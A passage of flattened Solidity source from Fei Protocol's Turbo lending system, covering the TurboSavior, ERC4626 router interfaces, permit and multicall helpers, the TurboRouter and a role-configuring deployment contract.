feiTurboCToken; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Savior contract. /// @param _master The Master of the Savior. /// @param _owner The owner of the Savior. /// @param _authority The Authority of the Savior. constructor( TurboMaster _master, address _owner, Authority _authority ) Auth(_owner, _authority) { master = _master; fei = Fei(address(master.fei())); pool = master.pool(); feiTurboCToken = pool.cTokensByUnderlying(fei); } /*/////////////////////////////////////////////////////////////// LINE LOGIC //////////////////////////////////////////////////////////////*/ /// @notice The minimum percentage debt must make up of the borrow limit for a Safe to be saved. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. uint256 public minDebtPercentageForSaving; /// @notice Emitted when the minimum debt percentage for saving is updated. /// @param newDefaultFeePercentage The new minimum debt percentage for saving. event MinDebtPercentageForSavingUpdated(address indexed user, uint256 newDefaultFeePercentage); /// @notice Sets the minimum debt percentage. /// @param newMinDebtPercentageForSaving The new minimum debt percentage. function setMinDebtPercentageForSaving(uint256 newMinDebtPercentageForSaving) external requiresAuth { // A minimum debt percentage over 100% makes no sense. require(newMinDebtPercentageForSaving <= 1e18, "PERCENT_TOO_HIGH"); // Update the minimum debt percentage. minDebtPercentageForSaving = newMinDebtPercentageForSaving; emit MinDebtPercentageForSavingUpdated(msg.sender, newMinDebtPercentageForSaving); } /*/////////////////////////////////////////////////////////////// SAVE LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a save is executed. /// @param user The user who executed the save. /// @param safe The Safe that was saved. /// @param vault The Vault that was lessed. /// @param feiAmount The amount of Fei that was lessed. event SafeSaved(address indexed user, TurboSafe indexed safe, ERC4626 indexed vault, uint256 feiAmount); /// @notice Save a Safe (call less on owner's behalf to prevent liquidation). /// @param safe The Safe to be saved. /// @param vault The Vault to less from. /// @param feiAmount The amount of Fei to less from the Safe. function save( TurboSafe safe, ERC4626 vault, uint256 feiAmount ) external requiresAuth nonReentrant { // Ensure the Safe is registered with the Master. require(master.getSafeId(safe) != 0); emit SafeSaved(msg.sender, safe, vault, feiAmount); // Cache the Safe's collateral asset. CERC20 assetTurboCToken = safe.assetTurboCToken(); // Cache the pool's current oracle. PriceFeed oracle = pool.oracle(); // Get the Safe's asset's collateral factor in the Turbo Fuse Pool. (, uint256 collateralFactor) = pool.markets(assetTurboCToken); // Compute the value of the Safe's collateral. Rounded down to favor saving. uint256 borrowLimit = assetTurboCToken .balanceOf(address(safe)) .mulWadDown(assetTurboCToken.exchangeRateStored()) .mulWadDown(collateralFactor) .mulWadDown(oracle.getUnderlyingPrice(assetTurboCToken)); // Compute the value of the Safe's debt. Rounding up to favor saving them. uint256 debtValue = feiTurboCToken.borrowBalanceCurrent(address(safe)).mulWadUp( oracle.getUnderlyingPrice(feiTurboCToken) ); // Ensure the Safe's debt percentage is high enough to justify saving, otherwise revert. require( borrowLimit != 0 && debtValue.divWadUp(borrowLimit) >= minDebtPercentageForSaving, "DEBT_PERCENT_TOO_LOW" ); // Less the Fei from the Safe. safe.less(vault, feiAmount); } } /// @title ERC4626 interface /// @author Fei Protocol /// See: https://eips.ethereum.org/EIPS/eip-4626 abstract contract IERC4626 is ERC20 { /*//////////////////////////////////////////////////////// Events ////////////////////////////////////////////////////////*/ /// @notice `sender` has exchanged `assets` for `shares`, /// and transferred those `shares` to `receiver`. event Deposit( address indexed sender, address indexed receiver, uint256 assets, uint256 shares ); /// @notice `sender` has exchanged `shares` for `assets`, /// and transferred those `assets` to `receiver`. event Withdraw( address indexed sender, address indexed receiver, uint256 assets, uint256 shares ); /*//////////////////////////////////////////////////////// Vault properties ////////////////////////////////////////////////////////*/ /// @notice The address of the underlying ERC20 token used for /// the Vault for accounting, depositing, and withdrawing. function asset() external view virtual returns(address asset); /// @notice Total amount of the underlying asset that /// is "managed" by Vault. function totalAssets() external view virtual returns(uint256 totalAssets); /*//////////////////////////////////////////////////////// Deposit/Withdrawal Logic ////////////////////////////////////////////////////////*/ /// @notice Mints `shares` Vault shares to `receiver` by /// depositing exactly `assets` of underlying tokens. function deposit(uint256 assets, address receiver) external virtual returns(uint256 shares); /// @notice Mints exactly `shares` Vault shares to `receiver` /// by depositing `assets` of underlying tokens. function mint(uint256 shares, address receiver) external virtual returns(uint256 assets); /// @notice Redeems `shares` from `owner` and sends `assets` /// of underlying tokens to `receiver`. function withdraw(uint256 assets, address receiver, address owner) external virtual returns(uint256 shares); /// @notice Redeems `shares` from `owner` and sends `assets` /// of underlying tokens to `receiver`. function redeem(uint256 shares, address receiver, address owner) external virtual returns(uint256 assets); /*//////////////////////////////////////////////////////// Vault Accounting Logic ////////////////////////////////////////////////////////*/ /// @notice The amount of shares that the vault would /// exchange for the amount of assets provided, in an /// ideal scenario where all the conditions are met. function convertToShares(uint256 assets) external view virtual returns(uint256 shares); /// @notice The amount of assets that the vault would /// exchange for the amount of shares provided, in an /// ideal scenario where all the conditions are met. function convertToAssets(uint256 shares) external view virtual returns(uint256 assets); /// @notice Total number of underlying assets that can /// be deposited by `owner` into the Vault, where `owner` /// corresponds to the input parameter `receiver` of a /// `deposit` call. function maxDeposit(address owner) external view virtual returns(uint256 maxAssets); /// @notice Allows an on-chain or off-chain user to simulate /// the effects of their deposit at the current block, given /// current on-chain conditions. function previewDeposit(uint256 assets) external view virtual returns(uint256 shares); /// @notice Total number of underlying shares that can be minted /// for `owner`, where `owner` corresponds to the input /// parameter `receiver` of a `mint` call. function maxMint(address owner) external view virtual returns(uint256 maxShares); /// @notice Allows an on-chain or off-chain user to simulate /// the effects of their mint at the current block, given /// current on-chain conditions. function previewMint(uint256 shares) external view virtual returns(uint256 assets); /// @notice Total number of underlying assets that can be /// withdrawn from the Vault by `owner`, where `owner` /// corresponds to the input parameter of a `withdraw` call. function maxWithdraw(address owner) external view virtual returns(uint256 maxAssets); /// @notice Allows an on-chain or off-chain user to simulate /// the effects of their withdrawal at the current block, /// given current on-chain conditions. function previewWithdraw(uint256 assets) external view virtual returns(uint256 shares); /// @notice Total number of underlying shares that can be /// redeemed from the Vault by `owner`, where `owner` corresponds /// to the input parameter of a `redeem` call. function maxRedeem(address owner) external view virtual returns(uint256 maxShares); /// @notice Allows an on-chain or off-chain user to simulate /// the effects of their redeemption at the current block, /// given current on-chain conditions. function previewRedeem(uint256 shares) external view virtual returns(uint256 assets); } /** @title ERC4626Router Base Interface @author joeysantoro @notice A canonical router between ERC4626 Vaults https://eips.ethereum.org/EIPS/eip-4626 The base router is a multicall style router inspired by Uniswap v3 with built-in features for permit, WETH9 wrap/unwrap, and ERC20 token pulling/sweeping/approving. It includes methods for the four mutable ERC4626 functions deposit/mint/withdraw/redeem as well. These can all be arbitrarily composed using the multicall functionality of the router. NOTE the router is capable of pulling any approved token from your wallet. This is only possible when your address is msg.sender, but regardless be careful when interacting with the router or ERC4626 Vaults. The router makes no special considerations for unique ERC20 implementations such as fee on transfer. There are no built in protections for unexpected behavior beyond enforcing the minSharesOut is received. */ interface IERC4626RouterBase { /************************** Errors **************************/ /// @notice thrown when amount of assets received is below the min set by caller error MinAmountError(); /// @notice thrown when amount of shares received is below the min set by caller error MinSharesError(); /// @notice thrown when amount of assets received is above the max set by caller error MaxAmountError(); /// @notice thrown when amount of shares received is above the max set by caller error MaxSharesError(); /************************** Mint **************************/ /** @notice mint `shares` from an ERC4626 vault. @param vault The ERC4626 vault to mint shares from. @param to The destination of ownership shares. @param shares The amount of shares to mint from `vault`. @param maxAmountIn The max amount of assets used to mint. @return amountIn the amount of assets used to mint by `to`. @dev throws MaxAmountError */ function mint( IERC4626 vault, address to, uint256 shares, uint256 maxAmountIn ) external payable returns (uint256 amountIn); /************************** Deposit **************************/ /** @notice deposit `amount` to an ERC4626 vault. @param vault The ERC4626 vault to deposit assets to. @param to The destination of ownership shares. @param amount The amount of assets to deposit to `vault`. @param minSharesOut The min amount of `vault` shares received by `to`. @return sharesOut the amount of shares received by `to`. @dev throws MinSharesError */ function deposit( IERC4626 vault, address to, uint256 amount, uint256 minSharesOut ) external payable returns (uint256 sharesOut); /************************** Withdraw **************************/ /** @notice withdraw `amount` from an ERC4626 vault. @param vault The ERC4626 vault to withdraw assets from. @param to The destination of assets. @param amount The amount of assets to withdraw from vault. @param minSharesOut The min amount of shares received by `to`. @return sharesOut the amount of shares received by `to`. @dev throws MaxSharesError */ function withdraw( IERC4626 vault, address to, uint256 amount, uint256 minSharesOut ) external payable returns (uint256 sharesOut); /************************** Redeem **************************/ /** @notice redeem `shares` shares from an ERC4626 vault. @param vault The ERC4626 vault to redeem shares from. @param to The destination of assets. @param shares The amount of shares to redeem from vault. @param minAmountOut The min amount of assets received by `to`. @return amountOut the amount of assets received by `to`. @dev throws MinAmountError */ function redeem( IERC4626 vault, address to, uint256 shares, uint256 minAmountOut ) external payable returns (uint256 amountOut); } // forked from https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/ISelfPermit.sol /// @title Self Permit /// @notice Functionality to call permit on any EIP-2612-compliant token for use in the route interface ISelfPermit { /// @notice Permits this contract to spend a given token from `msg.sender` /// @dev The `owner` is always msg.sender and the `spender` is always address(this). /// @param token The address of the token spent /// @param value The amount that can be spent of token /// @param deadline A timestamp, the current blocktime must be less than or equal to this timestamp /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function selfPermit( address token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; /// @notice Permits this contract to spend a given token from `msg.sender` /// @dev The `owner` is always msg.sender and the `spender` is always address(this). /// Can be used instead of #selfPermit to prevent calls from failing due to a frontrun of a call to #selfPermit /// @param token The address of the token spent /// @param value The amount that can be spent of token /// @param deadline A timestamp, the current blocktime must be less than or equal to this timestamp /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function selfPermitIfNecessary( address token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; /// @notice Permits this contract to spend the sender's tokens for permit signatures that have the `allowed` parameter /// @dev The `owner` is always msg.sender and the `spender` is always address(this) /// @param token The address of the token spent /// @param nonce The current nonce of the owner /// @param expiry The timestamp at which the permit is no longer valid /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function selfPermitAllowed( address token, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external payable; /// @notice Permits this contract to spend the sender's tokens for permit signatures that have the `allowed` parameter /// @dev The `owner` is always msg.sender and the `spender` is always address(this) /// Can be used instead of #selfPermitAllowed to prevent calls from failing due to a frontrun of a call to #selfPermitAllowed. /// @param token The address of the token spent /// @param nonce The current nonce of the owner /// @param expiry The timestamp at which the permit is no longer valid /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function selfPermitAllowedIfNecessary( address token, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external payable; } // forked from https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/external/IERC20PermitAllowed.sol /// @title Interface for permit /// @notice Interface used by DAI/CHAI for permit interface IERC20PermitAllowed { /// @notice Approve the spender to spend some tokens via the holder signature /// @dev This is the permit interface used by DAI and CHAI /// @param holder The address of the token holder, the token owner /// @param spender The address of the token spender /// @param nonce The holder's nonce, increases at each call to permit /// @param expiry The timestamp at which the permit is no longer valid /// @param allowed Boolean that sets approval amount, true for type(uint256).max and false for 0 /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external; } /// @title Self Permit /// @notice Functionality to call permit on any EIP-2612-compliant token for use in the route /// @dev These functions are expected to be embedded in multicalls to allow EOAs to approve a contract and call a function /// that requires an approval in a single transaction. abstract contract SelfPermit is ISelfPermit { /// @inheritdoc ISelfPermit function selfPermit( address token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public payable override { ERC20(token).permit(msg.sender, address(this), value, deadline, v, r, s); } /// @inheritdoc ISelfPermit function selfPermitIfNecessary( address token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable override { if (ERC20(token).allowance(msg.sender, address(this)) < value) selfPermit(token, value, deadline, v, r, s); } /// @inheritdoc ISelfPermit function selfPermitAllowed( address token, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public payable override { IERC20PermitAllowed(token).permit(msg.sender, address(this), nonce, expiry, true, v, r, s); } /// @inheritdoc ISelfPermit function selfPermitAllowedIfNecessary( address token, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external payable override { if (ERC20(token).allowance(msg.sender, address(this)) < type(uint256).max) selfPermitAllowed(token, nonce, expiry, v, r, s); } }// forked from https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol // forked from https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/IMulticall.sol /// @title Multicall interface /// @notice Enables calling multiple methods in a single call to the contract interface IMulticall { /// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed /// @dev The `msg.value` should not be trusted for any method callable from multicall. /// @param data The encoded function data for each of the calls to make to this contract /// @return results The results from each of the calls passed in via data function multicall(bytes[] calldata data) external payable returns (bytes[] memory results); } /// @title Multicall /// @notice Enables calling multiple methods in a single call to the contract abstract contract Multicall is IMulticall { /// @inheritdoc IMulticall function multicall(bytes[] calldata data) public payable override returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { // Next 5 lines from https://ethereum.stackexchange.com/a/83577 if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; } } }/** @title Periphery Payments @notice Immutable state used by periphery contracts Largely Forked from https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/PeripheryPayments.sol Changes: * no interface * no inheritdoc * add immutable WETH9 in constructor instead of PeripheryImmutableState * receive from any address * Solmate interfaces and transfer lib * casting * add approve, wrapWETH9 and pullToken */ abstract contract PeripheryPayments { using SafeTransferLib for *; IWETH9 public immutable WETH9; constructor(IWETH9 _WETH9) { WETH9 = _WETH9; } receive() external payable {} function approve(ERC20 token, address to, uint256 amount) public payable { token.safeApprove(to, amount); } function unwrapWETH9(uint256 amountMinimum, address recipient) public payable { uint256 balanceWETH9 = WETH9.balanceOf(address(this)); require(balanceWETH9 >= amountMinimum, 'Insufficient WETH9'); if (balanceWETH9 > 0) { WETH9.withdraw(balanceWETH9); recipient.safeTransferETH(balanceWETH9); } } function wrapWETH9() public payable { if (address(this).balance > 0) WETH9.deposit{value: address(this).balance}(); // wrap everything } function pullToken(ERC20 token, uint256 amount, address recipient) public payable { token.safeTransferFrom(msg.sender, recipient, amount); } function sweepToken( ERC20 token, uint256 amountMinimum, address recipient ) public payable { uint256 balanceToken = token.balanceOf(address(this)); require(balanceToken >= amountMinimum, 'Insufficient token'); if (balanceToken > 0) { token.safeTransfer(recipient, balanceToken); } } function refundETH() external payable { if (address(this).balance > 0) SafeTransferLib.safeTransferETH(msg.sender, address(this).balance); } } abstract contract IWETH9 is ERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable virtual; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external virtual; } /// @title ERC4626 Router Base Contract /// @author joeysantoro abstract contract ERC4626RouterBase is IERC4626RouterBase, SelfPermit, Multicall, PeripheryPayments { using SafeTransferLib for ERC20; /// @inheritdoc IERC4626RouterBase function mint( IERC4626 vault, address to, uint256 shares, uint256 maxAmountIn ) public payable virtual override returns (uint256 amountIn) { if ((amountIn = vault.mint(shares, to)) > maxAmountIn) { revert MaxAmountError(); } } /// @inheritdoc IERC4626RouterBase function deposit( IERC4626 vault, address to, uint256 amount, uint256 minSharesOut ) public payable virtual override returns (uint256 sharesOut) { if ((sharesOut = vault.deposit(amount, to)) < minSharesOut) { revert MinSharesError(); } } /// @inheritdoc IERC4626RouterBase function withdraw( IERC4626 vault, address to, uint256 amount, uint256 maxSharesOut ) public payable virtual override returns (uint256 sharesOut) { if ((sharesOut = vault.withdraw(amount, to, msg.sender)) > maxSharesOut) { revert MaxSharesError(); } } /// @inheritdoc IERC4626RouterBase function redeem( IERC4626 vault, address to, uint256 shares, uint256 minAmountOut ) public payable virtual override returns (uint256 amountOut) { if ((amountOut = vault.redeem(shares, to, msg.sender)) < minAmountOut) { revert MinAmountError(); } } } /** @title a router which can perform multiple Turbo actions between Master and the Safes @notice routes custom users flows between actions on the master and safes. Extends the ERC4626RouterBase to allow for flexible combinations of actions involving ERC4626 and permit, weth, and Turbo specific actions. Safe Creation has functions bundled with deposit (and optionally boost) because a newly created Safe address can only be known at runtime. The caller is always atomically given the owner role of a new safe. Authentication requires the caller to be the owner of the Safe to perform any ERC4626 method or TurboSafe requiresAuth method. Assumes the Safe's authority gives permission to call these functions to the TurboRouter. */ contract TurboRouter is ERC4626RouterBase, ENSReverseRecordAuth { using SafeTransferLib for ERC20; TurboMaster public immutable master; constructor (TurboMaster _master, address _owner, Authority _authority, IWETH9 weth) Auth(_owner, _authority) PeripheryPayments(weth) { master = _master; } modifier authenticate(address target) { require(msg.sender == Auth(target).owner() || Auth(target).authority().canCall(msg.sender, target, msg.sig), "NOT_AUTHED"); _; } function createSafe(ERC20 underlying) external returns (TurboSafe safe) { (safe, ) = master.createSafe(underlying); safe.setOwner(msg.sender); } function createSafeAndDeposit(ERC20 underlying, address to, uint256 amount, uint256 minSharesOut) external returns (TurboSafe safe) { (safe, ) = master.createSafe(underlying); // approve max from router to save depositor gas in future. approve(underlying, address(safe), type(uint256).max); super.deposit(IERC4626(address(safe)), to, amount, minSharesOut); safe.setOwner(msg.sender); } function createSafeAndDepositAndBoost( ERC20 underlying, address to, uint256 amount, uint256 minSharesOut, ERC4626 boostedVault, uint256 boostedFeiAmount ) public returns (TurboSafe safe) { (safe, ) = master.createSafe(underlying); // approve max from router to save depositor gas in future. approve(underlying, address(safe), type(uint256).max); super.deposit(IERC4626(address(safe)), to, amount, minSharesOut); safe.boost(boostedVault, boostedFeiAmount); safe.setOwner(msg.sender); } function createSafeAndDepositAndBoostMany( ERC20 underlying, address to, uint256 amount, uint256 minSharesOut, ERC4626[] calldata boostedVaults, uint256[] calldata boostedFeiAmounts ) public returns (TurboSafe safe) { (safe, ) = master.createSafe(underlying); // approve max from router to save depositor gas in future. approve(underlying, address(safe), type(uint256).max); super.deposit(IERC4626(address(safe)), to, amount, minSharesOut); unchecked { require(boostedVaults.length == boostedFeiAmounts.length, "length"); for (uint256 i = 0; i < boostedVaults.length; i++) { safe.boost(boostedVaults[i], boostedFeiAmounts[i]); } } safe.setOwner(msg.sender); } function deposit(IERC4626 safe, address to, uint256 amount, uint256 minSharesOut) public payable override authenticate(address(safe)) returns (uint256) { return super.deposit(safe, to, amount, minSharesOut); } function mint(IERC4626 safe, address to, uint256 shares, uint256 maxAmountIn) public payable override authenticate(address(safe)) returns (uint256) { return super.mint(safe, to, shares, maxAmountIn); } function withdraw(IERC4626 safe, address to, uint256 amount, uint256 maxSharesOut) public payable override authenticate(address(safe)) returns (uint256) { return super.withdraw(safe, to, amount, maxSharesOut); } function redeem(IERC4626 safe, address to, uint256 shares, uint256 minAmountOut) public payable override authenticate(address(safe)) returns (uint256) { return super.redeem(safe, to, shares, minAmountOut); } function slurp(TurboSafe safe, ERC4626 vault) external authenticate(address(safe)) { safe.slurp(vault); } function boost(TurboSafe safe, ERC4626 vault, uint256 feiAmount) public authenticate(address(safe)) { safe.boost(vault, feiAmount); } function less(TurboSafe safe, ERC4626 vault, uint256 feiAmount) external authenticate(address(safe)) { safe.less(vault, feiAmount); } function lessAll(TurboSafe safe, ERC4626 vault) external authenticate(address(safe)) { safe.less(vault, vault.maxWithdraw(address(safe))); } function sweep(TurboSafe safe, address to, ERC20 token, uint256 amount) external authenticate(address(safe)) { safe.sweep(to, token, amount); } function sweepAll(TurboSafe safe, address to, ERC20 token) external authenticate(address(safe)) { safe.sweep(to, token, token.balanceOf(address(safe))); } function slurpAndLessAll(TurboSafe safe, ERC4626 vault) external authenticate(address(safe)) { safe.slurp(vault); safe.less(vault, vault.maxWithdraw(address(safe))); } } /** @title Turbo Configurer IS INTENDED FOR MAINNET DEPLOYMENT This contract is a helper utility to completely configure the turbo system, assuming the contracts are deployed. The deployment should follow the logic in Deployer.sol. Each function details its access control assumptions. */ contract Configurer { /// @notice Fei DAO Timelock, to be granted TURBO_ADMIN_ROLE and GOVERN_ROLE address constant feiDAOTimelock = 0xd51dbA7a94e1adEa403553A8235C302cEbF41a3c; /// @notice Tribe Guardian, to be granted GUARDIAN_ROLE address constant guardian = 0xB8f482539F2d3Ae2C9ea6076894df36D1f632775; ERC20 fei = ERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA); ERC20 tribe = ERC20(0xc7283b66Eb1EB5FB86327f08e1B5816b0720212B); /******************** ROLES ********************/ /// @notice HIGH CLEARANCE. capable of calling `gib` to impound collateral. uint8 public constant GIBBER_ROLE = 1; /// @notice HIGH CLEARANCE. Optional module which can interact with any user's vault by default. uint8 public constant ROUTER_ROLE = 2; /// @notice Capable of lessing any vault. Exposed on optional TurboSavior module. uint8 public constant SAVIOR_ROLE = 3; /// @notice Operational admin of Turbo, can whitelist collaterals, strategies, and configure most parameters. uint8 public constant TURBO_ADMIN_ROLE = 4; /// @notice Pause and security Guardian role uint8 public constant GUARDIAN_ROLE = 5; /// @notice HIGH CLEARANCE. Capable of critical governance functionality on TurboAdmin such as oracle upgrades. uint8 public constant GOVERN_ROLE = 6; /// @notice limited version of TURBO_ADMIN_ROLE which can manage collateral and vault parameters. uint8 public constant TURBO_STRATEGIST_ROLE = 7; /******************** CONFIGURATION ********************/ /// @notice configure the turbo timelock. Requires TIMELOCK_ADMIN_ROLE over timelock. function configureTimelock(TimelockController turboTimelock, TurboAdmin admin) public { turboTimelock.grantRole(turboTimelock.TIMELOCK_ADMIN_ROLE(), address(admin)); turboTimelock.grantRole(turboTimelock.EXECUTOR_ROLE(), address(admin)); turboTimelock.grantRole(turboTimelock.PROPOSER_ROLE(), address(admin)); turboTimelock.revokeRole(turboTimelock.TIMELOCK_ADMIN_ROLE(), address(this)); } /// @notice configure the turbo authority. Requires ownership over turbo authority. function configureAuthority(MultiRolesAuthority turboAuthority) public { // GIBBER_ROLE turboAuthority.setRoleCapability(GIBBER_ROLE, TurboSafe.gib.selector, true); // TURBO_ADMIN_ROLE turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboSafe.slurp.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboSafe.less.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboMaster.createSafe.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboMaster.setBooster.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboMaster.setClerk.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboMaster.setDefaultSafeAuthority.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboMaster.sweep.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboClerk.setDefaultFeePercentage.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboClerk.setCustomFeePercentageForCollateral.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboClerk.setCustomFeePercentageForSafe.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboBooster.setFreezeStatus.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboBooster.setBoostCapForVault.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboBooster.setBoostCapForCollateral.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboSavior.setMinDebtPercentageForSaving.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMarketSupplyCaps.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMarketSupplyCapsByUnderlying.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMarketBorrowCaps.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMarketBorrowCapsByUnderlying.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMintPausedByUnderlying.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setMintPaused.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setBorrowPausedByUnderlying.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setBorrowPaused.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin.oracleAdd.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin.addCollateral.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._deployMarket.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._addRewardsDistributor.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setWhitelistStatuses.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setCloseFactor.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setCollateralFactor.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin._setLiquidationIncentive.selector, true); turboAuthority.setRoleCapability(TURBO_ADMIN_ROLE, TurboAdmin.schedule.selector, true); // GUARDIAN_ROLE turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboSafe.less.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboBooster.setFreezeStatus.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMarketSupplyCaps.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMarketSupplyCapsByUnderlying.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMarketBorrowCaps.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMarketBorrowCapsByUnderlying.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMintPausedByUnderlying.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setMintPaused.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setBorrowPausedByUnderlying.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setBorrowPaused.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setTransferPaused.selector, true); turboAuthority.setRoleCapability(GUARDIAN_ROLE, TurboAdmin._setSeizePaused.selector, true); // GOVERN_ROLE turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._setBorrowCapGuardian.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._setPauseGuardian.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin.oracleChangeAdmin.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._setWhitelistEnforcement.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._setPriceOracle.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._unsupportMarket.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin._toggleAutoImplementations.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin.scheduleSetPendingAdmin.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin.schedule.selector, true); turboAuthority.setRoleCapability(GOVERN_ROLE, TurboAdmin.cancel.selector, true); turboAuthority.setPublicCapability(TurboAdmin.execute.selector, true); // TURBO_STRATEGIST_ROLE turboAuthority.setRoleCapability(TURBO_STRATEGIST_ROLE, TurboAdmin.addCollateral.selector, true); turboAuthority.setRoleCapability(TURBO_STRATEGIST_ROLE, TurboAdmin._setMarketSupplyCaps.selector, true); turboAuthority.setRoleCapability(TURBO_STRATEGIST_ROLE, TurboAdmin._setMarketSupplyCapsByUnderlying.selector, true); turboAuthority.setRoleCapability(TURBO_STRATEGIST_ROLE, TurboBooster.setBoostCapForVault.selector, true); turboAuthority.setRoleCapability(TURBO_STRATEGIST_ROLE, TurboBooster.setBoostCapForCollateral.selector, true); turboAuthority.setPublicCapability(TurboSavior.save.selector, true); } /// @notice configure the default authority. Requires ownership over default authority. function configureDefaultAuthority(MultiRolesAuthority defaultAuthority) public { // ROUTER_ROLE defaultAuthority.setRoleCapability(ROUTER_ROLE, TurboSafe.boost.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, TurboSafe.less.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, TurboSafe.slurp.selector, true); defaultAuthority.setRoleCapability(ROUTER_ROLE, TurboSafe.sweep.selector, true); 